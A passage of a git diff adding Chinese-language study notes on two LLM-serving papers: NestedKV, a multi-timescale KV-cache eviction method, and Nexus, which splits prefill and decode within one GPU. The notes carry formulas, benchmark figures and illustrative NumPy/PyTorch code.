+| 方法 | 用什么信号决定保留谁 | 典型盲点 |
+|------|----------------------|----------|
+| H2O / 注意力持久性 | 历史 attention 质量 | 答案 token 常在低 attention 区（论文 Figure 1） |
+| StreamingLLM | 最近窗口 + sink | 窗口外远程证据丢失 |
+| SnapKV | prompt 末尾观察窗 | 全局检索、多跳推理 |
+| KeyDiff | Key 相对全局均值的 distinctive | **单一时间尺度** |
+| Ada-KV | 自适应 per-head 预算 | 仍常配合单一打分信号 |
+| **NestedKV** | 三尺度 Key 余弦异常 + 路由 | 计算稍复杂，prefill 一次性开销 |
+
+---
+
+## 为什么重要
+
+长上下文 LLM 的瓶颈越来越清晰：**KV cache 随序列长度线性增长**，在固定 GPU 上，128K prompt + 高 batch 时，transient memory 往往比权重更贵。
+
+业界常见路线：
+
+1. **扩窗口 / 改 RoPE**（YaRN 等）——仍要存完整 KV 或近似。
+2. **流式丢弃**——内存 bounded，但**有损**。
+3. **KV 压缩 / 量化**（H2O、SnapKV、KeyDiff、OSCAR 等）——在 prefill 后删 token 或降精度。
+
+NestedKV 占的位置是：**不训练、不量化、只删位置**，但删除策略不再依赖「单一重要性指标」，而是模拟**人脑式分层记忆**：全局背景、局部情节、当前焦点同时存在，再用 surprise 决定何时相信「混合意见」、何时相信「最强单项意见」。
+
+论文强调：压缩越狠（\(r\) 越大）、上下文越长，单锚点方法越 brittle，NestedKV 优势越明显——正好对应 serving 场景里最缺 memory 的 regime。
+
+---
+
+## 核心概念
+
+### 1. KV cache = 测试时的有界记忆
+
+对冻结 LLM，prefill 后的 KV cache 就是模型带入 decode 的**内部记忆状态** \(M=(K,V)\)。压缩算子 \(\mathcal{C}_\phi\) 产出 \(M^B\)，预算 \(B\) 由保留比例 \(r\) 决定：保留约 \((1-r)\) 的 token 位置。
+
+NestedKV 的 \(\phi\) **没有可学习参数**，完全由 key 流上的统计量与固定超参定义。
+
+### 2. 连续记忆状态：三个时间尺度锚点
+
+对每个 token 位置 \(i\)，在**归一化 key** \(\hat{k}_i = k_i / \|k_i\|_2\) 上维护：
+
+| 尺度 | 符号 | 含义 | 公式直觉 |
+|------|------|------|----------|
+| Stable | \(\mu_s\) | 整段 prompt 的全局均值方向 | 所有 \(\hat{k}_j\) 的平均 |
+| Episodic | \(\mu_e(i)\) | token \(i\) 所在 block 的局部均值 | block 大小 \(b=\mathrm{clip}(\lfloor N/32\rfloor, 128, 256)\) |
+| Current | \(\mu_c(i)\) | 以 \(i\) 结尾、长度 \(W=64\) 的滑动窗口均值 | 类似「最近在读什么」 |
+
+三个锚点**不先合并**，各自产生一套排序——这是 **inner learners（内层学习者）**。
+
+### 3. 余弦异常分数（Cosine Anomaly）
+
+若 token 的 key 方向与某锚点高度一致，说明该尺度下「可预测、冗余」；反之则「异常、应保留」：
+
+\[
+a_s(i) = -\cos(\hat{k}_i, \mu_s),\quad
+a_e(i) = -\cos(\hat{k}_i, \mu_e(i)),\quad
+a_c(i) = -\cos(\hat{k}_i, \mu_c(i))
+\]
+
+**分数越高越应保留**。每个尺度在 head 内 min-max 归一化得到 \(\tilde{a}_s, \tilde{a}_e, \tilde{a}_c\)。
+
+另外，前 \(n_{\mathrm{sink}}=4\) 个位置（attention sink）被 **pin** 住，赋大分数，避免 StreamingLLM 类问题。
+
+### 4. 外层学习者：Head 自适应混合
+
+不同 attention head 可能专精不同时间角色（有的盯局部，有的扫全局）。对每个 head：
+
+1. 算各尺度 top 10% 与 bottom 10% 分数差 \(\Delta_k\)——区分度。
+2. 用 softmax + 固定先验 \((w_s^0, w_e^0, w_c^0)=(0.4, 0.4, 0.2)\) 得到混合权重 \(w_k\)。
+3. 混合分：\(a_{\mathrm{blend}}(i) = \sum_k w_k \tilde{a}_k(i)\)。
+
+### 5. Surprise 门控路由
+
+当三个尺度对同一 token 的「异常程度」**不一致**时，简单平均会掩盖关键信号。定义 **compression-induced surprise**：
+
+\[
+s(i) = \mathrm{std}(\tilde{a}_s(i), \tilde{a}_e(i), \tilde{a}_c(i))
+\]
+
+- surprise **低**：三尺度意见一致 → 用 \(a_{\mathrm{blend}}\)。
+- surprise **高**：取最强单项 \(a_{\mathrm{win}}(i)=\max(\tilde{a}_s,\tilde{a}_e,\tilde{a}_c)\)。
+
+用 sigmoid 门控平滑切换：
+
+\[
+\alpha(i)=\sigma(\kappa(s(i)-\tau)),\quad
+a^\star(i)=(1-\alpha(i))a_{\mathrm{blend}}(i)+\alpha(i)a_{\mathrm{win}}(i)
+\]
+
+直觉：**只要有一个时间尺度认为你重要，就别被平均掉**。
+
+### 6. Head-wise 记忆竞争（自适应预算）
+
+同一层内，各 head 的 token 对 \((h,i)\) 按 \(a_{h,i}\) **全局竞争** layer 总预算 \(B_\ell\)，而非每 head 均分。每个 head 仍有最小保留量 safeguard。这解耦了两个问题：
+
+- **head 内**哪些 token 信息量大；
+- **head 间**谁该多分 KV 槽位。
+
+消融显示：去掉 continuum 三尺度 → RULER 4k \(r=0.75\) **-7.99**；去掉 adaptive 分配 → **-8.41**；两者都去掉 → **-19.10**（超过单独之和，因 top-k 离散决策耦合）。
+
+---
+
+## 代码示例 1：三尺度锚点与异常分数（NumPy 教学版）
+
+下面用随机 key 矩阵演示 NestedKV 的核心打分逻辑（省略 sink pin 与 head 竞争，便于零基础理解）：
+
+```python
+import numpy as np
+
+def normalize_keys(K: np.ndarray) -> np.ndarray:
+    """K: [N, d] -> 单位方向 key"""
+    return K / (np.linalg.norm(K, axis=1, keepdims=True) + 1e-8)
+
+def block_id(i: int, N: int, b: int) -> slice:
+    start = (i // b) * b
+    end = min(start + b, N)
+    return slice(start, end)
+
+def continuum_anchors(k_hat: np.ndarray, W: int = 64) -> tuple[np.ndarray, list[np.ndarray], list[np.ndarray]]:
+    N = k_hat.shape[0]
+    b = int(np.clip(N // 32, 128, 256))
+
+    mu_s = k_hat.mean(axis=0)  # stable: 全局均值方向
+
+    mu_e = []
+    mu_c = []
+    for i in range(N):
+        blk = k_hat[block_id(i, N, b)]
+        mu_e.append(blk.mean(axis=0))
+
+        lo = max(0, i - W + 1)
+        mu_c.append(k_hat[lo : i + 1].mean(axis=0))
+
+    return mu_s, mu_e, mu_c
+
+def cosine_anomaly(k_hat: np.ndarray, anchors) -> np.ndarray:
+    """返回每个 token 的三尺度异常分（越大越应保留）"""
+    mu_s, mu_e, mu_c = anchors
+    N = k_hat.shape[0]
+    scores = np.zeros((N, 3))
+
+    for i in range(N):
+        ki = k_hat[i]
+        scores[i, 0] = -np.dot(ki, mu_s)          # stable
+        scores[i, 1] = -np.dot(ki, mu_e[i])       # episodic
+        scores[i, 2] = -np.dot(ki, mu_c[i])       # current
+
+    # per-scale min-max 归一化（单个 head 内）
+    for j in range(3):
+        col = scores[:, j]
+        scores[:, j] = (col - col.min()) / (col.max() - col.min() + 1e-8)
+    return scores  # [N, 3]
+
+# --- demo ---
+np.random.seed(0)
+N, d = 512, 64
+K = np.random.randn(N, d).astype(np.float32)
+k_hat = normalize_keys(K)
+
+anchors = continuum_anchors(k_hat)
+tilde_a = cosine_anomaly(k_hat, anchors)
+
+# 外层：surprise 路由
+surprise = tilde_a.std(axis=1)
+a_blend = tilde_a @ np.array([0.4, 0.4, 0.2])  # 简化：固定权重代替 head-adaptive
+a_win = tilde_a.max(axis=1)
+kappa, tau = 8.0, 0.15
+alpha = 1 / (1 + np.exp(-kappa * (surprise - tau)))
+a_star = (1 - alpha) * a_blend + alpha * a_win
+
+budget = 128
+keep_idx = np.argsort(-a_star)[:budget]
+print("保留 token 数:", len(keep_idx), "示例 index:", keep_idx[:8])
+```
+
+这段代码对应论文 Section 2.2–2.4 的骨架：**归一化 key → 三锚点 → 三异常分 → surprise 路由 → TopB**。
+
+---
+
+## 代码示例 2：Prefill 后接入压缩（PyTorch 伪代码）
+
+NestedKV 在 **prefill 结束、decode 开始前** 对每层 KV 调用一次。下面展示与 HuggingFace 风格 cache 的集成点（伪代码，非官方实现）：
+
+```python
+import torch
+import torch.nn.functional as F
+
+@torch.no_grad()
+def nestedkv_compress_layer(
+    keys: torch.Tensor,      # [num_heads, seq_len, head_dim]
+    values: torch.Tensor,    # [num_heads, seq_len, head_dim]
+    retain_ratio: float = 0.25,  # 保留 25% => r=0.75 压缩
+    sink_tokens: int = 4,
+    window: int = 64,
+) -> tuple[torch.Tensor, torch.Tensor]:
+    """单层、已分 head 的 KV -> 压缩后 KV"""
+    H, N, D = keys.shape
+    budget = max(sink_tokens, int(N * retain_ratio))
+
+    k_hat = F.normalize(keys, dim=-1)
+    scores = torch.zeros(H, N, device=keys.device)
+
+    # --- stable anchor (per head) ---
+    mu_s = k_hat.mean(dim=1, keepdim=True)  # [H, 1, D]
+    a_s = -(k_hat * mu_s).sum(dim=-1)       # [H, N]
+
+    # --- episodic + current（逐 head 向量化可进一步优化）---
+    b = int(max(128, min(256, N // 32)))
+    a_e = torch.zeros_like(a_s)
+    a_c = torch.zeros_like(a_s)
+    for i in range(N):
+        bs, be = (i // b) * b, min((i // b + 1) * b, N)
+        mu_e = k_hat[:, bs:be, :].mean(dim=1)
+        a_e[:, i] = -(k_hat[:, i, :] * mu_e).sum(dim=-1)
+
+        lo = max(0, i - window + 1)
+        mu_c = k_hat[:, lo : i + 1, :].mean(dim=1)
+        a_c[:, i] = -(k_hat[:, i, :] * mu_c).sum(dim=-1)
+
+    stack = torch.stack([a_s, a_e, a_c], dim=-1)  # [H, N, 3]
+    # min-max per (head, scale)
+    mn = stack.amin(dim=1, keepdim=True)
+    mx = stack.amax(dim=1, keepdim=True)
+    tilde = (stack - mn) / (mx - mn + 1e-8)
+
+    # head-adaptive blend（此处用固定先验；完整版用 Δ_k softmax）
+    w = torch.tensor([0.4, 0.4, 0.2], device=keys.device)
+    a_blend = (tilde * w).sum(dim=-1)
+
+    surprise = tilde.std(dim=-1)
+    a_win = tilde.max(dim=-1).values
+    alpha = torch.sigmoid(8.0 * (surprise - 0.15))
+    a_star = (1 - alpha) * a_blend + alpha * a_win
+
+    # pin sink
+    a_star[:, :sink_tokens] = 1e6
+
+    # TopB（单层内 head 竞争版需改为全局 (h,i) topk，这里为单 head TopB 简化）
+    topk = a_star.topk(budget, dim=-1).indices.sort(dim=-1).values
+    idx = topk.unsqueeze(-1).expand(-1, -1, D)
+    return keys.gather(1, idx), values.gather(1, idx)
+
+# 用法：prefill 完成后
+# for layer in model.layers:
+#     k, v = layer_kv_cache[layer_idx]  # 从 prefill 得到
+#     k_small, v_small = nestedkv_compress_layer(k, v, retain_ratio=0.25)
+#     layer_kv_cache[layer_idx] = (k_small, v_small)
+# 然后进入 decode，attention 只看见保留下来的位置
+```
+
+工程上完整实现还需：**跨 head 的 \(\mathrm{TopB}_{B_\ell}\) 竞争**、与 FlashAttention 的 index 映射、以及每层独立调用。论文报告 32k context 下 prefill 开销相对 KeyDiff **< 0.5%**，decode 延迟与 peak memory 与同预算 baseline 接近。
+
+---
+
+## 实验结果速览
+
+**主模型**：Qwen3-4B（frozen），并报告 Llama-3.2-Instruct。
+
+**基准**：
+
+- **RULER**（4k–32k，合成检索/聚合）—— NestedKV 在多数 context×ratio 格点 best 或 near-best。
+- **LongBench / LongBench-E / LooGLE / InfiniteBench**—— 真实长文档 QA、多跳等。
+- **MMLU-Pro**—— 短上下文知识，\(r=0.25\) 时与 Full KV 差距 **< 0.2** 分，说明 aggressive 压缩未牺牲短 prompt 能力。
+
+**关键数字（Qwen3-4B）**：
+
+| 设定 | NestedKV vs KeyDiff |
+|------|---------------------|
+| RULER 4k, \(r=0.75\) | **+19.10** |
+| LongBench 平均, \(r=0.75\) | 30.77 → **50.06** |
+| LongBench, \(r=0.95\) | **37.32** vs 17.55 |
+
+**效率**：同 \(r\) 下 decode 延迟、peak GPU memory 与 KeyDiff/SnapKV 同级，显著低于 Full KV。
+
+---
+
+## 与相邻工作的关系
+
+- **vs KV-Fold**（同仓库笔记 `kv-fold.md`）：KV-Fold **不删 token**，用 chunk 递推拼接完整 KV；NestedKV **主动驱逐**，换更小 memory footprint。一个保真、一个省内存。
+- **vs KeyDiff**：KeyDiff 本质是**单锚点** key 几何 distinctive；NestedKV 把 KeyDiff 式信号放进三尺度 continuum，并加 surprise 路由 + head 竞争。
+- **vs Ada-KV**：Ada-KV 重点在 **budget 怎么分给 head**；NestedKV 两者都做，且打分信号更丰富。
+- **vs Nested Learning (Behrouz et al., 2026)**：NestedKV 借用「嵌套记忆 + 自修改更新规则」的**概念框架**，在测试时用固定规则实例化，不训练 outer learner。
+
+---
+
+## 局限与开放问题
+
+1. **仍是有损压缩**：极端 \(r\) 下必然丢信息；只是比单信号 baseline 丢得更「聪明」。
+2. **Prefill 阶段一次性计算**：三尺度统计 + 路由有额外 CPU/GPU 工作，虽论文称很小，超长 batch serving 仍需 profiling。
+3. **超参固定**：\(W=64\)、先验 \((0.4,0.4,0.2)\)、\(\kappa,\tau\) 等跨 benchmark 共享——换模型族是否要调参，论文外仍待验证。
+4. **仅 key 打分**：Value 随 Key 位置一并保留/丢弃，未单独建模 V 的重要性（与多数 KV eviction 方法相同）。
+
+---
+
+## 一句话总结
+
+NestedKV 把长上下文 KV 压缩看成**多时间尺度的记忆维护问题**：用 stable / episodic / current 三个 key 锚点测量余弦异常，再用 head 自适应混合与 surprise 门控路由合并意见，配合 head 间预算竞争，在**不训练、不改模型**的前提下，尤其在高压缩比与长上下文 regime 显著优于单锚点 eviction 方法。
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2605.26678](https://arxiv.org/abs/2605.26678)
+- 概念来源：Nested Learning / Continuum Memory System（Behrouz et al., 2026）
+- 相关 baseline：H2O、SnapKV、KeyDiff、Ada-KV、StreamingLLM
+- 同主题笔记：本仓库 `kv-fold.md`（递推保完整 KV）、`oscar-int2-kv.md`（INT2 量化 KV）
diff --git a/src/content/docs/papers/nexus-prefill-decode-intra-gpu.md b/src/content/docs/papers/nexus-prefill-decode-intra-gpu.md
new file mode 100644
index 000000000..6be79a2a2
--- /dev/null
+++ b/src/content/docs/papers/nexus-prefill-decode-intra-gpu.md
@@ -0,0 +1,416 @@
+---
+title: Nexus — 单 GPU 内主动式 Prefill/Decode 分离
+来源: https://arxiv.org/abs/2507.06608
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：一家餐厅的两条流水线
+
+想象你经营一家**同时做「现炒大锅菜」和「小火慢炖续汤」**的餐厅（一块 GPU）。每位顾客点菜分两步：
+
+1. **Prefill（现炒）**：把整份食材（prompt）一次性下锅翻炒，出第一口菜（第一个 token），同时把味道记进「配方本」（KV cache）。这一步**重火力、重灶台**——像大矩阵乘法，吃 **算力（SM）**。
+2. **Decode（续汤）**：之后每来一位客人要一勺，你就从配方本里翻旧料、加一小撮新料，**每次只加一勺**（每步 1 token）。这一步**火力不大，但不停翻账本、搬罐子**——像读全量权重 + 越来越长的 KV cache，吃 **显存带宽**。
+
+传统 LLM 服务有三种摆法：
+
+| 摆法 | 日常类比 | 优点 | 缺点 |
+|------|----------|------|------|
+| **单体 + Chunked Prefill** | 大锅菜和续汤**混在同一口锅、同一批火**炒 | 灶台不闲着 | 大锅一炒，续汤就得等——**相位干扰**，客人觉得「一个字一个字蹦得太慢」（TBT 飙高） |
+| **跨 GPU PD 分离** | 一楼专门现炒、二楼专门续汤，用电梯搬配方本 | 互不打扰，TTFT/TBT 都稳 | 要**两整层楼**（两套完整模型副本），电梯排队、空楼浪费 |
+| **Nexus（单 GPU 内分离）** | **同一层楼**，但用隔断把 40% 灶台给现炒、60% 给续汤，且**根据排队情况每分钟重划** | 只要一层楼，又尽量互不挡 | 要算清楚「划多少火」才不会浪费或抢带宽 |
+
+Nexus 的核心洞察：**算力给多了会饱和**（边际收益递减），所以不必把整口锅都给某一阶段；**带宽会在两阶段同时运行时打架**，所以划分必须**动态、主动（proactive）**调整，而不是等慢了再补救。
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. LLM 推理的两阶段不对称
+
+| 阶段 | 在算什么 | 瓶颈 | 影响的指标 |
+|------|----------|------|------------|
+| **Prefill** | 一次处理 prompt 里 $n$ 个 token，填 KV cache | **Compute-bound**（FFN、QKV 大 GEMM） | **TTFT**（Time-To-First-Token） |
+| **Decode** | 每步只算 1 个新 token，attend 全部历史 KV | **Memory-bound**（读权重 + 读 KV） | **TBT**（Time-Between-Tokens，token 间隔） |
+
+用户体感：TTFT 决定「多久开始说话」，TBT 决定「说话是否卡顿」。两者要的资源形态不同，**混批就会互相拖后腿**。
+
+### 2. 现有路线的两难
+
+论文用 Qwen2.5-3B、单张 NVIDIA L20 做了微观测量（Poisson 到达 2.5 req/s）：
+
+- **纯 decode batch**：平均迭代 ~15 ms
+- **纯 prefill batch**：~132 ms
+- **混合 batch（Chunked Prefill 典型）**：~251 ms —— decode 被拖慢 **8–10×**
+
+94% 的迭代落在「混合 batch」里。根因是：prefill 的大 kernel 占满 SM / 带宽时，轻量 decode kernel **只能排队等同批 prefill 算完**，TBT 暴涨。
+
+**跨引擎 PD 分离**（DistServe、Splitwise、vLLM-P/D）能消除干扰，但：
+
+- 需要**多套完整模型权重**（prefill 机 decode 机各一份）
+- KV 跨卡传输、协调、缓存驱逐会带来额外延迟与复杂度
+- decode 侧 GPU 常常**利用率偏低**
+
+### 3. Nexus 的问题设定
+
+> 能不能在**单个 serving engine（通常 = 单 GPU 或一组 TP GPU 的一份模型副本）**里，逻辑上把 prefill 和 decode **拆开并发跑**，又不必多买一整张卡？
+
+关键词是 **Intra-GPU / Intra-engine disaggregation**：空间上分区 SM，时间上两路 coroutine 各跑各的 batch，再用**成本模型 + 贪心搜索**主动调分区比例。
+
+---
+
+## 核心概念
+
+### 1. Serving engine 与三种架构演进
+
+论文把 **serving engine** 定义为：管理**恰好一份**完整模型权重的一组 GPU。
+
+```text
+(a) Monolithic     — 同一引擎、同一 batch 混跑 prefill chunk + decode
+(b) PD Disagg.     — prefill 引擎 || decode 引擎，中间搬 KV
+(c) Nexus          — 同一引擎内两路 batch 并发，SM 按比例切开
+```
+
+Nexus 目标：**同时拿到 (b) 的低干扰**和 **(a) 的高利用率**，且**不增加 GPU 数量**。
+
+### 2. 边际收益递减（Diminishing Returns）
+
+单独跑纯 prefill 或纯 decode，逐渐增加 SM 占比时：
+
+- Prefill：30%→40% SM 可降延迟 25%+；70%→80% 只剩 ~10%；FFN 最吃算力，KQV 更早饱和
+- Decode：30%→40% 只改善 ~10%；**超过 50% SM 后每加 10% 改善 <3%** —— 典型 memory-bound
+
+推论：**整卡都给 decode 是浪费；整卡都给 prefill 也浪费**。最优往往在曲线「膝部」附近，且随负载变化。
+
+### 3. 内存带宽争用（Memory Bandwidth Contention）
+
+即使 SM 比例固定，**prefill 的 KV 读写**会与 **decode 的 attention 访存**抢 DRAM 带宽。论文观测：prefill KV 长度从 2000→10000，**同样 decode batch 延迟 +36%**。且 prefill 内存流量**随时间剧烈波动**，静态 60/40 切分不够。
+
+### 4. Nexus 三大机制
+
+```mermaid
+flowchart LR
+  subgraph sense [感知]
+    CM[轻量成本模型]
+    KV[KV 占用率 KV_u]
+  end
+  subgraph decide [决策]
+    OBJ[双目标优化<br/>Prefill优先 / Decode优先]
+    GREEDY[贪心 SM 搜索]
+    HYST[迟滞缓冲 δ]
+  end
+  subgraph act [执行]
+    SPF[Prefill: SPF 调度]
+    FCFS[Decode: FCFS]
+    GC[CUDA Green Context<br/>SM 分区]
+  end
+  CM --> GREEDY
+  KV --> OBJ
+  OBJ --> GREEDY
+  GREEDY --> HYST
+  HYST --> GC
+  SPF --> GC
+  FCFS --> GC
+```
+
+#### 4.1 动态 SM 分区 + 成本模型
+
+每个算子 $o$ 的延迟取 compute / memory 的 **max**（类似 roofline）：
+
+$$
+T_{\text{prefill}} = \sum_{i \in \text{PrefillOps}} \max(T_i^{\text{compute}}, T_i^{\text{mem}})
+$$
+
+$$
+T_{\text{decode}} = \sum_{j \in \text{DecodeOps}} \max(T_j^{\text{compute}}, T_j^{\text{mem}})
+$$
+
+算力项用**两段饱和-衰减曲线**（阈值 $R_{\text{sat}}$，衰减系数 $\lambda$）拟合「SM 越多越快，但越快越不明显」。
+
+内存项重点建模 **decode attention 与 prefill 重叠的概率** $P_{\text{attn}}$，推算 decode 有效带宽 $B_{\text{decode}}$，从而把「prefill 多占 SM → prefill 变快 → 重叠变短 → decode 反而少被挡」的反馈写进模型。
+
+**双目标优化**（不能同时最小化两者，故带约束）：
+
+- **Decode-prioritized**：$\min T_{\text{decode}}$，约束 $T_{\text{prefill}} \leq \alpha \cdot T_{\text{prefill}}^{\min}$
+- **Prefill-prioritized**：$\min T_{\text{prefill}}$，约束 $T_{\text{decode}} \leq \beta \cdot T_{\text{decode}}^{\min}$
+
+**运行时切换**：当 KV 占用 $KV_u \leq KV_{\text{switch}}$（实现里约为可用 KV 的 70%）→ 优先 prefill，多接 prompt；否则优先 decode，多完成生成、释放 KV。
+
+**贪心搜索**：从当前 $R_p:R_d$ 出发，通常 **2–4 次**成本模型查询即收敛，适合亚秒级推理循环。
+
+**迟滞（Hysteresis）**：仅当 $|R_p^{\text{new}} - R_p^{\text{cur}}| \geq \delta$ 才真正切换分区，避免抖动。
+
+#### 4.2 分阶段调度
+
+| 阶段 | 策略 | 原因 |
+|------|------|------|
+| **Prefill** | **SPF**（Shortest Prompt First）+ 防饿死年龄项 | 缩短 TTFT，缓解长 prompt 挡短 prompt（HoL blocking） |
+| **Decode** | **FCFS** | 每请求每步只贡献 1 token，公平且开销低 |
+
+SPF 打分：$\text{score}(r) = l_i - \gamma \cdot (t - a_i)$，$l_i$ 为剩余 prompt 长度，$a_i$ 到达时间。
+
+#### 4.3 实现要点（基于 vLLM v1-0.8.1）
+
+- prefill / decode **独立 coroutine、独立 CUDA stream、独立调度队列**
+- 用 **CUDA Green Context** 做 SM 逻辑隔离（~150 行 CUDA 扩展暴露给 Python）
+- 启动时**预实例化所有分区布局**，运行时切换，避免重配开销
+- $\lambda$ 等曲线参数按**模型 + workload 离线 profiling** 一次标定
+
+---
+
+## 代码示例
+
+### 示例 1：用饱和曲线理解「SM 分给 decode 的边际收益」
+
+下面用论文 §3.2 的直觉写一个**玩具成本模型**：SM 比例 $r$ 从 0.1 到 1.0，看 prefill / decode 延迟如何「变平」。
+
+```python
+import numpy as np
+
+def saturated_latency(flops: float, r: float, peak_tflops: float,
+                      r_sat: float = 0.6, lam: float = 0.5) -> float:
+    """两段饱和-衰减：r <= r_sat 时 ~ 1/r；之后边际收益快速变小。"""
+    cap = peak_tflops * 1e12
+    if r <= r_sat:
+        return flops / (r * cap)
+    base = flops / (r_sat * cap)
+    return base * (1.0 + lam * (r - r_sat))
+
+# 玩具 FLOPs：prefill 一次 chunk 远大于 decode 一步
+prefill_flops = 8e10   # 重 GEMM + FFN
+decode_flops = 2e9     # 单 token，但 memory-bound 在真实系统里更早饱和
+
+peak = 30.0  # TFLOPS，示意 L20 量级
+rs = np.linspace(0.1, 1.0, 10)
+
+print("r\tprefill_ms\tdecode_ms")
+for r in rs:
+    tp = saturated_latency(prefill_flops, r, peak, r_sat=0.65, lam=0.4) * 1e3
+    td = saturated_latency(decode_flops, r, peak, r_sat=0.45, lam=0.8) * 1e3
+    print(f"{r:.1f}\t{tp:8.1f}\t{td:8.1f}")
+
+# 若整卡(r=1.0)都给 decode，相比 r=0.5 往往只快一点点 —— 这就是「不必整卡 decode」的依据
+```
+
+运行后你会看到：**decode 曲线在 r>0.5 后几乎变平**，而 prefill 在 r=0.6–0.8 仍有一定收益——Nexus 会把「多出来的 SM」优先留给还在吃算力的那一相。
+
+### 示例 2：模拟 Nexus 的 KV 驱动目标切换 + 贪心分区
+
+```python
+from dataclasses import dataclass
+
+@dataclass
+class WorkloadState:
+    kv_used: float      # 当前 KV 占用（GB）
+    kv_capacity: float  # 总 KV 容量（GB）
+    queue_prefill: int  # 等待 prefill 的请求数
+    queue_decode: int   # 正在 decode 的请求数
+
+KV_SWITCH_RATIO = 0.70   # 论文：KV_switch ≈ 70% 可用 KV
+ALPHA = 1.3              # prefill-prioritized 时 decode 可容忍放慢倍数
+BETA = 1.1               # decode-prioritized 时 prefill 可容忍放慢倍数（实现偏紧）
+DELTA = 0.05             # 迟滞：SM 占比变化 <5% 则不切换
+
+# 简化 latency 表：rp = prefill 分到的 SM 比例（0~1）
+def latency_table():
+    """键 (phase, rp) -> 毫秒；phase in {'prefill','decode'}，decode 用 1-rp。"""
+    table = {}
+    for rp in [i / 20 for i in range(1, 21)]:
+        rd = 1.0 - rp
+        # 玩具曲线：prefill 喜多 SM；decode 在 rd>0.5 后收益很小，且受带宽惩罚
+        bw_penalty = 1.0 + 0.3 * max(0.0, rp - 0.5)  # prefill 太大时 decode 被带宽拖慢
+        table[("prefill", rp)] = 120.0 / max(rp, 0.05)
+        table[("decode", rp)] = (18.0 / max(rd, 0.05)) * bw_penalty
+    return table
+
+TABLE = latency_table()
+
+def cost(phase: str, rp: float) -> float:
+    rp = round(rp * 20) / 20
+    return TABLE[(phase, rp)]
+
+def choose_mode(state: WorkloadState) -> str:
+    if state.kv_used / state.kv_capacity <= KV_SWITCH_RATIO:
+        return "prefill-prioritized"
+    return "decode-prioritized"
+
+def greedy_partition(rp_cur: float, mode: str) -> float:
+    """对齐论文 Algorithm 1 的两段贪心：先满足约束，再尽量优化主目标。"""
+    slack = BETA if mode == "prefill-prioritized" else ALPHA
+    primary = "prefill" if mode == "prefill-prioritized" else "decode"
+    other = "decode" if primary == "prefill" else "prefill"
+
+    opt_other = min(cost(other, rp) for rp in [i/20 for i in range(1, 21)])
+    r = round(rp_cur * 20) / 20
+
+    # Phase 1: 缩小 primary 份额直到 other 满足 slack
+    while cost(other, r) > slack * opt_other and r > 0.05:
+        r -= 0.05
+
+    # Phase 2: 增大 primary 份额直到约束即将违反
+    while r < 0.95:
+        r_next = round((r + 0.05) * 20) / 20
+        if cost(other, r_next) > slack * opt_other:
+            break
+        r = r_next
+    return r
+
+def nexus_step(state: WorkloadState, rp_cur: float) -> float:
+    mode = choose_mode(state)
+    rp_new = greedy_partition(rp_cur, mode)
+    if abs(rp_new - rp_cur) < DELTA:
+        return rp_cur
+    return rp_new
+
+# 模拟：KV 从空闲逐渐填满
+rp = 0.55
+for kv_gb in [5, 20, 28, 38, 42]:
+    st = WorkloadState(kv_used=kv_gb, kv_capacity=48.0,
+                       queue_prefill=12, queue_decode=40)
+    rp = nexus_step(st, rp)
+    print(f"KV={kv_gb:2d}GB mode={choose_mode(st):22s} -> R_prefill={rp:.2f}")
+```
+
+输出会展示：**KV 低**时系统倾向把更多 SM 给 prefill（压低 TTFT）；**KV 逼近容量**时转去照顾 decode（降低 TBT、促进 KV 回收）。这就是论文所说的 **proactive**——根据**即将发生的内存压力**切换目标，而不是等 OOM 或超时再反应。
+
+### 示例 3：SPF 预fill 调度（Algorithm 2 简化版）
+
+```python
+from dataclasses import dataclass
+from typing import List
+
+@dataclass
+class Request:
+    req_id: str
+    prompt_len: int
+    prefilled_len: int
+    arrival_time: float
+
+def spf_batch(requests: List[Request], token_budget: int,
+              now: float, gamma: float = 15.0) -> List[Request]:
+    """Shortest Prompt First：优先短 prompt，年龄大则加分防饿死。"""
+    scored = []
+    for r in requests:
+        remaining = r.prompt_len - r.prefilled_len
+        age = now - r.arrival_time
+        score = remaining - gamma * age  # 等越久 score 越小 → 越优先
+        scored.append((score, remaining, r))
+    scored.sort(key=lambda x: x[0])
+
+    batch, total = [], 0
+    for _, rem, r in scored:
+        if total + rem <= token_budget:
+            batch.append(r)
+            total += rem
+        else:
+            break
+    return batch
+
+queue = [
+    Request("A", 8000, 0, arrival_time=0.0),
+    Request("B", 400, 0, arrival_time=0.1),
+    Request("C", 200, 0, arrival_time=0.2),
+]
+picked = spf_batch(queue, token_budget=1024, now=0.3)
+print([r.req_id for r in picked])  # 典型：['C', 'B'] 先于超长 A
+```
+
+在单体 FCFS 下，A 会把 B、C 挡在队首；SPF 让短请求先出第一 token，**TTFT 分布**显著改善——论文 ablation 里仅 SPF 就能比 naive intra-engine PD **TTFT 降 90%**（但若无动态 SM，TBT 仍会因争用变差）。
+
+---
+
+## 实验结果（论文摘要）
+
+**环境**：Intel Xeon Platinum 8457C，2× NVIDIA L20 48GB，CUDA 12.8，PyTorch 2.6；模型 Qwen2.5-3B / Llama-3.1-8B / Qwen2.5-14B；Poisson 到达。
+
+**工作负载**：
+
+| 数据集 | 特点 |
+|--------|------|
+| Long Data Collections | 长输入、中等输出 |
+| ArXiv Summarization | 长输入、短输出 |
+| Mixed（60% ShareGPT + 40% Long） | 长短混杂，调度压力大 |
+
+**相对 vLLM v1.0.8.1（单卡）**：
+
+- 吞吐最高 **2.2×**（14B 双卡 Mixed）
+- TTFT 最高 **20×** 降低
+- TBT 最高 **2.5×** 降低
+
+**相对 SGLang**：吞吐最高 **2×**，TTFT **2×**，TBT **1.7×**。
+
+**相对 vLLM-P/D（双卡分离）**：Nexus **单卡**在 Mixed 上吞吐仍高 **1.4×**；Long/ArXiv 上 TTFT 与双卡分离相差 **<10%**。
+
+**排队延迟**：Mixed 负载下等待时间比 vLLM **5×** 低、比 vLLM-P/D **2×** 低——增益主要来自 **SPF + 动态 SM**，而非微优化 kernel。
+
+**消融**：
+
+| 配置 | 现象 |
+|------|------|
+| 仅 intra-engine 分离 + FCFS | HoL + 争用，TTFT/TBT 都差 |
+| + 动态 SM | TBT **-14%**，但 TTFT **+30%**（decode 挤占 prefill） |
+| + SPF，无动态 SM | TTFT 大降，TBT 变差 |
+| **完整 Nexus** | TTFT 再 **-23%**，TBT **-26%**，两者兼得 |
+
+---
+
+## 与相关系统的关系
+
+| 系统 / 论文 | 与 Nexus 的关系 |
